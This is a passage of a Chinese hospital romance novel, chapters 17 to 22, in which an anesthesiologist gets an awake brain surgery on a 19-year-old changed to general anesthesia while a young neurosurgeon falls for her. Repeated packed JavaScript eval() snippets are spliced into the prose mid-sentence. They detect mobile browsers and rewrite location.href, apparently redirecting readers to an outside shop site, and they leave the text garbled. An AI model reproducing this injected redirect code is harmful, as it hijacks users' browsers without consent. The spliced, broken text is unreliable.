她笑着说:“想不到谢医生也会这种把戏。”她想想那画面,觉得十分有趣。在她眼里,谢宜年还十分年轻,至少在外科医生的队伍里,他实在太年轻,年轻得还没有沾染那些世故,是那么鲜活又沉不住气。她甚至怀疑他无法招架那些缠人的家属,病房里的家属形形色色,什么货色都有,神经外科又是容易出纠纷的科室,所以医生必须拿出强硬的态度……至少性格不能太软。 谢宜年一看脸皮就不厚,刚从学校出来,是个文雅的读书人。 哦,对,水平也菜得可爱。 谢宜年第一回看她笑,在只有他们两个人的情况下。 谢宜年已经顾不得手表尖锐的报警声了,只觉得心快要从胸膛里跳出来。 17.第 17 章 谢宜年一路帮她把车开进地下车库,他那会儿已经在心里念了一遍《金刚经》,他读博后期收不到数据,面临毕业压力,焦虑失眠,在陌生网友的推荐下自费购买了这本读博好物——电子版《金刚经》。 后来遇到事的时候就喜欢给自己念两遍。 没办法,改变不了世界,就只能给自己做心理辅导。 谢宜年今天也遇到一件大事:他面对一个女人的时候紧张得喘不过气来,脑子里全是糊了水的浆糊,脖子上的东西变成了不会思考的摆设。谢宜年是没吃过猪肉,但活这么大,见过猪跑。 这叫动心的前兆。 二十八年,铁树开花。 宗夏槐可不知道这些弯弯绕绕,她只觉得谢宜年开车水平一般,刹车踩得太急,到地下车库的时候,她胃里在翻江倒海。 宗夏槐没好意思说,人家毕竟是免费给她当司机。宗夏槐对谢宜年的心思十分坦荡,她觉得谢宜年是个人还不错的外科医生。 至少还会因为连累她受无妄之灾而觉得愧疚。 这是十分稀奇的事情,再联想前两次他请她帮忙拆台,无论成与不成,他都没有把主任搬出来压她,可见谢宜年在做人上没话说。 虽然不知道以后会不会变,会不会掉进这染缸里,被同化。 宗夏槐看谢宜年,会想起以前的自己,过去她会为请了三天假而不安,觉得耽误了科里的工作,事实上,麻醉科多她一个不多,少她一个不少,照常运转。而现在,住院总给她放假,她就心安理得休息。 宗夏槐说:“你早点回去休息吧……这事情和你无关,我也没怪你。”她想她大约是懂谢宜年对她那莫名其妙的“愧疚”的。 其实宗夏槐不懂,谢宜年的性格和从前的她不一样,而且谢宜年并不是第一年上临床,作为八年制毕业的学生,他早就是临床“老油条”了。 谢宜年听见她说没怪他,很高兴,他的情绪传达给宗夏槐,宗夏槐也松了口气。总之,两个人的脑回路不一样,但又莫名地衔接上了。 车库的灯忽明忽暗,宗夏槐看他帮忙把东西从车上拎下来,谢宜年是这么说的:“我人都到这了,肯定是帮你把东西拿下来,你明天好好休息,就不要再劳累了。” 灯光打在他侧脸上,更衬他优越的眉眼,宗夏槐心里这么想,便这么问了:“谢医生,你做医生是为了什么?为什么选神经外科?” 谢宜年脱口而出:“以前不懂事,觉得听上去很酷。”他实在是坦诚又可爱。 “那现在呢?” 谢宜年悲痛地说:“学医十年,归来仍是少年。”又苦又累又没钱,离开医学,谁还把二十八岁的你当少年。 谢宜年是不会和宗夏槐哭穷的,为着那一点男人对女人的私心。要是在师兄面前,他必要说:“神经外科怎么能穷成这个样子?” 神经外科和心脏外科是外科里培养周期较长的两个科室,也非常依赖平台,小医院根本开展不来,很容易赔钱,也收不到优质病人。 海城医学院附属医院的神经外科在全国数一数二,自然是不穷的,但是粥多僧也多,分到底层小医生手里就没几个钱了。 宗夏槐的目光突然变得柔和起来,她对谢宜年说:“等你将来成为带组教授的那一天。” 带组教授,这是多少人一辈子梦寐以求,奈何坐上那个位置,不仅看能力,还看命。 总的来说,谢宜年没有短板,他学历高脑袋聪明,科研不错,开刀水平……这个没办法,开刀没有捷径,是要练的。但是众所周知,升职和科研以及背后老板能量的关系更大。 只是目前,这个目标对谢宜年来说还太远了,像一个飘在天边的不切实际的梦。因为这句话从宗夏槐嘴里说出来,更叫人心神向往。 宗夏槐还说:“等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114926|148983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你以后带组了,记得对我们麻醉科的人好一点。” 宗夏槐回家之后才觉得这句话不合适,怎么这么像画饼呢?宗夏槐转念一想,外科平时也没少给她画饼。比如什么“这台小手术,很快的”、“肯定让你早下班”、“明天我们手术不多”…… 他们画起饼来,真是一点不害臊。 宗夏槐简单洗漱后和爸妈打了个视频,老爸老妈催她找对象,之前在国外的时候,老爸老妈生怕她和外国人谈从此不回来了,思想开放的老妈甚至放言:可以和女孩谈,咱家不介意这个,但不能和黑皮肤的谈。 宗夏槐学业忙,也没心思搞对象,回国之后,爸妈就开始催起来了,宗夏槐用工作忙推脱,妈妈叫她提要求,他们帮她留意。 宗夏槐想了想,说:“要长得好看,脾气好,顾家,有责任心,我工作忙他要更照顾家里,脑袋要聪明不然影响后代智商……哦,对了,我不喜欢感情史丰富的。” 宗妈妈说:“槐啊,妈妈不是许愿的菩萨。” 宗夏槐计谋得逞地笑,她在家人和外人面前完全是两个样子,在家人面前,她可以放松做自己,流露出孩子气的一面。 宗夏槐说:“可是你女儿也不差,这些要求难道高?” 宗爸爸说:“一点不高!我和你妈替你留意!你自己也多留意,海城年轻人多,机会多!” 宗夏槐口头上答应了。 宗夏槐在家躺了三天,回去上班的时候手术室的手术量已经恢复正常,徐同和也回实验室了。 人和人的缘分总是在一段时期内,过了这段时期,就分道扬镳。 宗夏槐从不觉得可惜。很多事情,既是事在人为,也是天意如此。 回去上班第一天,隔壁房间的麻醉同事来借喉镜,和她唠两句:“小夏,你真是好运气,躲过那台唤醒……你不知道,那天那个唤醒病人,脑死亡了。” 18.第 18 章 唤醒手术风险极高,但是海城医学院附属医院算是开展这项手术比较成熟的医院了,做了这么多年,术中脑死亡,还是从未有过的事情。 病人年轻,才三十多岁,说是出室前就瞳孔散大,谁也不知道他是不是清醒着感受自己的生命在流逝,慢慢死去。 同事和宗夏槐叹气:“神外今早为这事开了大会,也不知道他们摆不摆得平……” 这个时候便又觉得外科势大的好处,他们负责与家属沟通的一环。与行外人沟通是件困难的事情,不仅仅在于面对的病人和家属文化水平参差不齐,更在于信任。 能够打消病人的疑虑,取信于病人和家属,是一位外科医生的必备职业技能。 但没有一位外科医生敢打包票说自己是“常胜将军”,所以业内有这么一句戏谑:身上没有官司的外科医生不能算作优秀的外科医生。 纵使术前谈尽了一切风险,总有无法接受的家属“撕毁协议”,发泄自己的悲伤愤怒。 这时候便要看外科医生“摆平”家属的能力了。 外科的态度必须强硬,既要有实力,也要有资本。实力是对医疗组没有医疗错误的自信,资本是有医院有老大撑腰,明明白白地告诉家属:我们没有过错,所有的风险早在术前已经充分告知,你们想闹就闹,闹了我们会喊警察把闹事者带走。 当然了,只有大医院的强势科室敢这么做。而且随着互联网的发展,动不动就“拍视频”“上热搜”,大家的腰板也挺得没有以前那么直了。 如果事态的发展不能停在外科这里,那么其他经手过的科室也有麻烦了。 何况,唤醒手术的成功进行和麻醉本就关系匪浅。 同事说:“不过那天科里把宋主任从分院请过来了,他们也不敢把这事情推给宋主任的。” 麻醉科副主任宋思礼,主做心脏麻醉,心胸外科分家后,医院为大力发展心外科,前几年“重金”从胸科医院挖来一位带头人,后建了新院区,心外科便整个挪了过去,宋主任也跟了过去。 虽说宋主任主做心脏麻醉,但他在基层待过好几年,娴熟掌握各类麻醉,包括神外唤醒麻醉,只是他也不喜欢唤醒手术,这次如果不是实在没人,他也不会过来。 小道消息说是大主任给了他什么好处,把他请过来的。 同事总结说:“宋主任来做这场麻醉,肯定是比我们来做要好的。” 宋主任年资高职称高,还有个外科大主任老婆撑腰,谁想把锅甩给他都得掂量掂量。 宗夏槐问:“出了这样的事,他们短期内应该不会再做唤醒了吧?” 同事摇头:“明天还有呢!” 宗夏槐心里一沉。 …… 宗夏槐伤后第一天上班,住院总没给她排太晚的房间,五台普外,三个胆囊,两个阑尾,基本上都是一个多小时一台的手术,普外和脑外的手术间不在一个楼层,所以宗夏槐今天也没见到那个漂亮的神外小医生。 下午的时候,住院总发第二天手术排班,又小窗她:【夏夏,明天有台唤醒,你能做吗?】 宗夏槐实在不想接这个烫手山芋,住院总也心知肚明,便换了个折中的办法:【那么,我让薛欣欣老师带一个基地的做,你帮帮忙,好嘛?】这便是一带二,一个主麻带两个副麻,出事之后,麻醉科更加谨慎了。 宗夏槐不好再拒绝,只能答应。 过了一会儿,薛欣欣老师发来消息,嘱咐宗夏槐带基地医生去看唤醒病人,她第二次打了个电话过来,言语委婉:“夏槐啊,我看过这个病人病史了,才十九岁,刚上大学的年纪,我有些担心他能不能承受得住,你务必和家属还有病人本人好好谈一谈……” 基地医生不懂,宗夏槐太明白了,哦,欣欣老师也不想做,大家都是被赶鸭子上架的。 但是欣欣老师的担忧不无道理,十九岁,一个刚高考完刚上大学心智都未必完全成熟的学生,要他接受自己生病这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129327|148983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事都很困难,叫他配合做唤醒手术…… 宗夏槐叹了口气,去找主刀的名字,想看看是谁的病人。常做唤醒手术的就那两三家,其他组是绝对不碰的。 宗夏槐看到杨主任的名字,惊讶到出声:“杨组怎么会做唤醒手术?”还是这么一个半大少年。 旁边的基地医生懵懵懂懂,还不知道唤醒手术意味着什么,一如她当年,充满着对新领域的求知。宗夏槐十分头痛,这是老的忽悠不成,开始培养小的了。 在去访病人的路上,宗夏槐和她的学妹说了一些注意事项,叮嘱她到时候只听不说话,学妹小鸡啄米般点头:“老师你放心!” 宗夏槐哑然失笑:“我当年也是基地出来的,去外面转了一圈又回来了,你不用叫我老师,叫我师姐就行。” 宗夏槐并不知道她刚回来第一周就成了麻醉科的“名人”,大家都喜欢美人,就是宗夏槐长得太冷,冰雪作肌玉为骨,下面那些比她年资更低的基地医生不敢和她搭话。 学妹捞到个机会和她单独相处,又想不到她这么好说话,无论问什么问题对方都会耐心回答,一时间叽叽喳喳不停。 不过到了病房,学妹就立刻闭上了嘴,乖乖听宗夏槐和病人及家属交涉。 那十九岁的少年面容青涩,十分的惶然无措,他被宗夏槐说得动摇,不料下一刻父母就说:“这里是全国最好的医院,最有名的专家,你要相信杨主任,这是关系你一辈子的事情!” 父母斩钉截铁地想做,实在是因为孩子太小了,他们想保住孩子的命,也想尽可能地保住孩子的大脑功能。只是他们不清楚这场手术的风险,他们已被告知的无非是术中或者术后死亡,却忘记了一个十九岁孩子的心理承受能力是有限的。 可怜天下父母心。 宗夏槐不能当着病人的面拆外科的台,叹了口气说:“我实在是不建议一个这么小的孩子做唤醒……这样吧,我再去和外科医生商量一下手术方案,好吗?” 19.第 19 章 外科办公室里通常没人,本院医生在台上开刀,规培轮转医生每天查完房写完病程就下班了,宗夏槐扑了个空,也不意外,去护士台问今天值班医生的电话。 护士说话爽利:“他就在值班室躺着呢!你去敲门!” 医生办公室设在病房里,而值班室和护士更衣室设在一块,是个在病房外的单独的小区域,虽然有门禁,但常年不关。护士有急事的时候就会去值班室敲门,因此值班医生也不会反锁值班室的门。 宗夏槐来敲门的时候,谢宜年正在值班室里补觉,几乎是敲门声一响他就醒了,他以为是护士,直接说:“请进。” 他顶着乱糟糟的头发从床上坐起来,他里面穿的就是手术室发的洗手衣,在病房就在外面套件白大褂,要是手术室急呼他,他把外面那身白大褂脱了就可以进去。洗手衣外套白大褂,这几乎是每个外科人的标配。 谢宜年没带眼镜,他睡得迷迷糊糊,在枕头下摸索了好一会儿才带上,这时宗夏槐带着学妹在门口至少站了有一分钟了。 “夏槐医生,你……你怎么来了?”谢宜年伸手,迅速捋顺了头发,他以迅雷不及掩耳之速穿上白大褂,好像只穿洗手衣是多么不方便见人一样。 主要是谢宜年把洗手衣当作睡衣,衣服被他睡得皱皱巴巴,他总觉得这样见宗夏槐不成体统。 宗夏槐神色如常,大家值班不都是这样么?谢宜年又没有少穿什么,她敲过门,谢宜年说过“请进”,一切都是正常的流程。 谢宜年也很快镇定下来:“是有什么事吗?” 宗夏槐神色自然地拉开凳子坐下来,指着写满病人基础情况的麻醉知情同意书说:“这个201床,19岁,叫张兆辉,是你们明天的病人。” 谢宜年茫然:“是检验检查有什么问题吗?” 手术完全是老大拍板决定的,麻醉科医生找过来难道是病人有什么问题? 外科常发生这样的事情,外科忙着在手术室开刀,根本无暇看病人术前检验检查,多是管床的规培医生看两眼,但说白了,轮转的规培又不一定是本科室的医生,难免有疏漏。 所以麻醉的术前访视谈话常常有“惊喜”,这个病人血色素5g,那个病人血钾2.7……麻醉医生怒气冲冲地冲到外科办公室,要求外科停掉手术。像这种提前停的还好,要是人拉进了手术室再发现这些“惊喜”,那必然是一场“世纪大战”。 当然,发火的一般是外科老大,检验检查摆在这,他们没办法对其他人发火,只能对底下人发火,责问他们为什么不仔细查看术前报告,然后再想方设法和麻醉科、护理部拉扯一番,继续把手术做掉。 “检验检查没什么问题,我主要是想问问你们这个手术方式。”宗夏槐盯着他的眼睛:“一定要做术中唤醒吗?” 谢宜年被她问住了,他知道这例唤醒病人,毕竟是他们组这么多年来第一例,领导的意思他大约也知道,就是想收一点相关的实验数据。 这又是年轻病人,领导心动了。 可这实在和他没关系,唤醒手术轮不到他去做,最多是手术结束了,喊他去关个颅,送个标本,送个术后ct与核磁。 宗夏槐也清楚这点,问:“这是谁的病人?杨主任的?” 谢宜年摇头:“是丁老师的,但是杨主任也知道。”知道就是默许。 “我不认为张兆辉适合做术中唤醒,他才19岁,他都没有经过几件事,你要他去配合你们做唤醒?”宗夏槐说着有些动气:“我看过片子上肿瘤的位置,全麻一样可以做这个手术,你们还可以接电生理,不是不可以避开那些神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14136893|148983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经……” “他才19岁,你真的确定他能坚持到最后吗?” 谢宜年见到的宗夏槐一直是波澜不惊的,他还没见过她生气的样子,他都很难想象宗夏槐会有强烈的情绪,之前黄朝师兄回到办公室,半是吐槽半是抱怨:“麻醉科的女医生漂亮是漂亮,脾气一个比一个差!可千万不要招惹她们!” 那会儿黄朝刚被谭月暴力输出过。 谢宜年当时还在心里默默反驳,说夏槐脾气就很好。 如今宗夏槐朝他发火,可他也不觉得她凶,反而觉得她十分可爱,她为病人的事和外科生气,他只觉出她那一分医者仁心。 她不赞同这场唤醒手术,因为她没有把病人当成一串冰冷的电脑数据,她见了病人,了解了病人的基本情况,判断他的心理状况无法承受,所以坚决反对。 其实,谢宜年也有些赞同她了。既然还有别的手术方案,何必一定要唤醒? 谢宜年认真地看着她的眼睛:“我会去和主任说的。”杨主任快退休了,其实对于出不出实验数据这个事没那么执着,主要是丁老师有些着急。 谢宜年的态度这样好,让宗夏槐觉得自己有些咄咄逼人,她缓了语气:“谢谢。” 谢宜年受宠若惊:“不……不客气。”他补充说:“这是应该的。外科和麻醉本来就密不可分。” 离开病房后,学妹才开口说话,她第一句说:“天呐,这个外科医生的觉悟好高,态度好好。” 第二句说:“师姐,他刚才耳朵都红了。”学妹有些兴奋地比划:“就是他刚看清楚是你的时候。” 刚才学妹全程当背景板,也没别的事干,就观察起这两人来,师姐大大方方,面对帅哥也不假辞色,可她瞧着那号称神外第一帅的谢宜年,怎么看出了“小鹿乱撞”? 20.第 20 章 “师姐……”他是不是喜欢你啊? “嗯?” 师姐的眼睛里干干净净的,学妹识趣地吞下了还没来得及说出口的话,换了一个话题:“那明天的唤醒还做吗?” 宗夏槐对科里后辈的态度一向很好,她耐心地说:“我会和住院总、主任再商量,如果有变动,住院总会通知你。” 学妹懂了,回去等通知。 “那……那我下班了?”在得到宗夏槐点头后,学妹像只快乐的小鸟飞出了手术中心的门。 “在看什么呢?”谭月刚从外面会诊回来,问:“明天的唤醒病人情况怎么样?” “年轻真好。”宗夏槐没来由地感慨了一句。 谭月看看她的脸,打趣道:“夏槐,你说这话,就有点拉仇恨了哈。”瞧瞧人小夏这个皮肤状态,说是二十出头都不为过,只是比起初出茅庐的二十岁,宗夏槐的眼睛里有成长的痕迹,她站在那里,便让人知道她是可信任、可依赖的。 宗夏槐只是在刚才一瞬间想起自己的基地生活,她第一次做唤醒麻醉,只觉得兴奋、期待,提前做足了功课,只想着不给自己的导师丢脸。 那会宗夏槐还不懂唤醒麻醉所需要背负的责任之重,就像现在懵懵懂懂的学妹,她不会像宗夏槐这样忧心忡忡,因为她头上还有两位担责的麻醉医生,而她,只是个连证还没发到手的基地学生。 等到能够独立执业、独立担责的时候,宗夏槐才愈发明白生命是多么沉重的两个字。于是她的眉宇间染上和她的老师们一样的忧愁,笑容也慢慢少了。 “哎。”宗夏槐回过神来,淡淡说:“你们让基地的开始做唤醒,也太揠苗助长了。” 谭月道:“没办法,总要培养新人,而且有你和薛老大在,她给你们打打下手嘛!”老的不好忽悠了,只能培养新的了。 宗夏槐说:“我正要和你说这件事,明天这台唤醒我做不来。” 谭月的笑容有些消失了,为难道:“夏槐,我也很难办。这……总要有人做的,排班表已经定了是你,临时换人其他人也不愿意。”她又劝宗夏槐:“明天我安排了薛欣欣老师和你,欣欣老师不是那种甩手不管的老大,她很认真负责……” 谭月隐晦地表示,就算真出了事,薛欣欣也不是那种甩锅的上级。 “我不是这个意思。”宗夏槐直视住院总的眼睛,把她看得一愣。 “我的意思是,这台唤醒手术能不能取消?” 谭月懵了:“啊?”众所周知,麻醉科势弱,很少真的停外科手术,手术方式几乎完全由外科说了算。 宗夏槐说:“我去看了那个病人,是个十九岁的小孩子,刚上大学,家里养得很好,没怎么经过事,他怎么能做得下来这台唤醒手术?” 要是那种意愿很坚决的也就罢了,可是宗夏槐和他交谈下来,只看到一个茫然无措的孩子。 “十九岁,也不小了……”谭月说完就跟着叹气:“这实在是……”她心里清楚宗夏槐说得对,可这要怎么才能说服外科停手术或者说改唤醒为全麻? 宗夏槐心里措辞后才又开口:“我并不是怕担责,如果害怕担责,我就不会回来做麻醉了,唤醒确实是个大家都不想沾手的烫手山芋……但这一回,我实在不觉得这台手术应该用唤醒来做。” 如果是其他理由,谭月还能找“官话”,可正因为她知道宗夏槐说的是内心真实的想法,她反而不知道怎么回复了。 她干住院总快一年了,如果说刚上临川的时候还有满腔热血,这一年住院总干完,熄得也七七八八了。谭月早就认清现状了,外科要做,就做呗。 谭月头疼道:“那这样,我再请示主任。” 谭月补充说:“可我们现在这位主任,百分之九十五不会拒绝外科的要求。” 宗夏槐问:“那么,再去问问外科呢?” 谭月叹了今天第八百遍气:“杨组很少有停刀的,杨主任那个脾气你也知道……算了我再去问问吧。” 宗夏槐知道这是又给住院总增加了工作量,住院总可以不去做这些事,她真心地道了谢:“谢谢。” “这算什么?”住院总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14149845|148983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经开始给各方发消息,她摆了摆手,说:“我也是不忍心。” 谭月做住院总的时候刚休完产假,做了母亲的人总是格外心软和容易共情。一个孩子,被父母辛辛苦苦养了十九年,查出了肿瘤本就很不幸了,要是做唤醒手术出了意外,对父母来说更是致命打击。 宗夏槐也没闲着,她去手术间找了杨主任,那会儿杨主任刚下台,他笑眯眯的,显然是今天的手术一切顺利。 “小夏医生啊,你好你好,有什么事吗?” 宗夏槐跟着他走出术间,走廊上人少也方便说事,她放低了声音:“杨主任,是这样的……明天那台唤醒手术,是个19岁的小孩子……” 杨主任这样老一辈的外科医生,对麻醉都还蛮尊重,加上宗夏槐说话慢声细语的,让人十分能听进去,杨主任并未有任何不悦,还一口就答应了:“多大点事,既然你们麻醉科觉得不合适,那就全麻做好了,我没意见的。” 杨主任是真没把这事放心上,他本来对科研就不上心,而且他都快退休了,对他来说,全麻开瘤子还更省事。 宗夏槐也是没想到这事这么容易就解决了,她和住院总谭月在那纠结老半天,没想到人杨主任压根就无所谓。 宗夏槐没忘夸人两句:“是,病人毕竟太年轻了,要是能全麻做对他来说是最好的,而且杨主任的水平,那在整个神经外科都是不容置疑的。” 杨主任开了一辈子的刀,最以手上本事为荣,他虽有些脾气,但为人质朴,没有那么多弯弯绕绕的心思,也瞧不上现在钻营科研本末倒置的风气,他被这么一夸,咧开嘴哈哈大笑。 “其实这事,我刚听小谢说过了,正想和你们说。你们麻醉觉得什么方式好,就怎么来,好吧?” 宗夏槐大脑有刹那空白,她见多了敷衍她的外科,刚才学妹说外科医生通情达理,她还觉得谢宜年说的不过是客套话。 外科和麻醉的临床理念本来就不同,外科冒进,麻醉谨慎,大家有冲突的地方,但是宗夏槐没想到,谢宜年听进去了她说的话,也认可她。 21.第 21 章 宗夏槐心里生出了那么一丝愧疚。 一直以来,在环境的影响下,她对外科有一些偏见,她认为他们总是言而不实,从来不重视麻醉科的意见,他们只当麻醉医生是会呼吸的麻醉机,没有自己的思想,应该完全由着他们的意愿来。 虽然不是主观的意愿,但她潜意识里一直错想谢宜年。 她想起谢宜年那双干净清澈的眼睛,心里好像有什么地方被触动了。 宗夏槐本质是个极心软的人,别人对她好一分,她必然要回报三分。 这几年过去,她的话变少了,看上去冷漠不近人情,可仍旧是当年那个将别人的好记在心里的人。 一想到今天下午她对谢宜年的语气还有些不善,宗夏槐竟有些辗转难眠。 她在床上翻了个身,打开手机微信,翻了会儿麻醉科工作群,又小窗好友陆灵:【六六,问你个事。】 她省去那些无关紧要的细枝末节,只说工作中对一个同事产生了误会,如今误会解开了,她心里过意不去,该如何表示? 陆灵认认真真给她出主意:【送点东西?护肤品保健品……要么就烟酒这些硬通货?】 宗夏槐觉得这些都不合适:【还有其他吗?】 陆灵便连环问了:【你说的这个同事,是男是女?是你上级还是平级?平时爱好什么?以及你和人家到底是什么误会?送不送对你有多大的影响?】 宗夏槐说是平级,没说男女。 陆灵下意识代入和宗夏槐同龄的女生,毕竟麻醉科女医生多。 陆灵:【要不是什么大事的话,就请人家吃顿饭好了,反正你们是同事嘛,虽说你从前是这个医院的,但毕竟离开三年了,和同事打好关系很有必要……等熟悉了再送礼物嘛。】 宗夏槐认为陆灵说得极有道理。 找到了解决之法,宗夏槐刚才漂浮的心似乎一下落到实处了,她也不知道为何会突然松口气,或许是因为她不爱亏欠人。 陆灵关心她的近况:【最近还忙吗?哦,对了,我妈给我熬了一堆阿胶,有你的一份,你有空来拿啊。】 宗夏槐和陆灵认识很多年,彼此父母也有交情,少年时期两个小女孩经常到对方家做客,陆妈妈很喜欢宗夏槐,觉得她沉稳,不似自己女儿闹腾。 年轻女孩子多有贫血的毛病,阿胶补血,陆妈妈的意思就是让两个小姑娘在外打拼的时候多注意身体。 宗夏槐放下手机,去厨房倒水,谢宜年送来那些补气血的补品还放在冰箱上面,她搜了一下价格,开始头疼了。 看来这顿饭,不吃也得吃了。 但是……找什么理由呢? 宗夏槐活这么大,想请她吃饭的异性数不胜数,她还真没绞尽脑汁想过怎么请一个异性吃饭。 宗夏槐决定下次见到谢宜年再说。 谢宜年昨晚值班,他们没夜休,老大开刀,他们也要兢兢业业地来手术室报道,不过谢宜年今天没出现在手术室。 因为他发烧了。 宗夏槐今天特意挑空去他们手术间逛了两圈,第二回听到护士问黄朝:“哎,你们那个小帅哥呢?今天怎么换人了?” 黄朝说:“小谢啊?小谢发烧了,在急诊吊水呢!” 护士“啧”一声:“来手术室挂呗!这里什么都有,我给他冲两支头孢……”护士开玩笑说:“我们这边一堆姐姐等着给他扎针呢!” 玩笑过后,护士又叹:“话说回来,你们现在对新人也太狠了,小谢一个月病了两回,年轻时这样搞,以后很容易落下病根的。” 黄朝却说:“我那时候也是这么过来的,我们组里哪个不是这样过来的?熬过来了就好了,总好过以后年资上去了,手上技术没上去,你们到时候提起来也叹气啊。”外科以开刀技术服众,手上技术不好,年轻一点的护士和麻醉还好,高年资的可不会客气。 黄朝话虽这么说,心里还是爱护这个小师弟的,所以没让他来手术室,让他挂完水好好休息。当然,这里的休息还是不能回家,以防主任有事叫。 宗夏槐是悄悄来的,一听谢宜年不在这准备悄悄走,被眼尖的护士抓住,护士朝着黄朝说:“哎哎,黄教授,‘苦主’找上门了,你得给个说法啊。”说的是前几天宗夏槐被他们组病人家属袭击的事。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14162778|148983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 护士私底下也觉得杨组这事不讲义气,人小夏医生多年轻,又长得这么好看,要是那家属有什么传染病或者说被破了相,这账怎么算! 黄朝面对谭月还能挺直腰板,对宗夏槐是理亏三分,硬气不起来,十分热情地关心了一番:“宗医生身体有什么不舒服啊?那个……我让小谢送了点东西给你,你收到没有?实在不好意思,没有下次!”黄朝给出了保证。 若那些东西是谢宜年一个人的意思,那么确实贵重了;如果是杨组的意思,那都有些寒碜了。 “原来是这样,黄老师破费了。”宗夏槐误会了,她不知道黄朝虽叫谢宜年送东西,但是送什么送多少全是谢宜年自己掏腰包的。黄朝都不知道谢宜年送了那么多。谢宜年也没报。 “小事一桩,主要这事确实我们做得不恰当。”黄朝问:“宗医生来我们这里是有什么事吗?” 宗夏槐说:“我来找谢宜年。” 黄朝让护士给谢宜年发消息,宗夏槐阻止了,说:“不是什么要紧事,我下次见到他再说。” 不过护士还是给谢宜年发了条消息:【麻醉科宗医生来手术间专程找你,好像有什么事情和你说。】 谢宜年当时在急诊的水还没挂完,举着盐水袋子就跑过来了,还好他里面穿的还是昨天的洗手衣,把外面的白大褂一换,戴个帽子口罩鞋套就能进手术室。 于是黄朝目瞪口呆地看着小师弟举着盐水进来,问宗医生在哪。 黄朝说:“师弟,你这么着急干什么?”就算是什么要紧事,也不差挂完盐水这一会儿的时间。 护士给他指路:“宗医生现在应该在楼下生活区的餐厅。” 于是,这次换成宗夏槐诧异地看着谢宜年举着盐水小跑进来,停在她面前:“夏槐,你找我有什么事吗?” 护士用了“专程”两个字,想必一定是什么要紧事。谢宜年匆匆赶来,却忘了,他这个年资,其实没什么能找他的要紧事。 宗夏槐大脑有些宕机,她直接说出来了:“哦,没什么事,我想请你吃顿饭,你有空吗?” 这下轮到谢宜年大脑宕机了。 22.第 22 章 宗夏槐听得一声响亮的答应: “有!” 他答应得那样快,生怕她会后悔一样。 谢宜年的眼睛盛满了碎星星,明亮,让人心生好感,让宗夏槐的心情也变得轻松起来。她实在不擅长人情世故,请人吃饭对她来说是个困难的事情,宗夏槐也很怕饭桌上大家埋头吃饭,无话可聊。 但是请谢宜年吃饭,似乎不是件让人痛苦的任务。 宗夏槐的心情也忽然变得轻松,笑着问:“谢医生这周什么时候有空?” 谢宜年不假思索地说:“都有空。”然后收到了对方怀疑的目光。 作为低年资外科住院医,谢宜年很忙、特别忙,他几乎没有自己的个人时间,一周能有一半时间住在医院……但是这顿饭,他是上刀山下火海都会去的。 谢宜年并不是贸贸然答应,他心里已经快速转过一圈,他刚值过班,本周没有其他值班了,所以工作日的晚上他完全没问题,就算是组里有刀,或者病房有事,他也可以请旁人暂代,大不了他吃完再回医院。 而周末,一般病房有事他就去病房转一圈,没事就搞老板交代下来的课题,这些时间是活的,宗夏槐喊他吃饭,他可以把其他事情的优先级都排后面。 所以说,一个外科医生忙是忙,但能不能抽出时间全看他/她上不上心。 谢宜年今天只觉得天上掉了好大一块馅饼,他被砸得头晕眼花,就算这馅饼“有毒”,他也要先捧在手里吃两口。 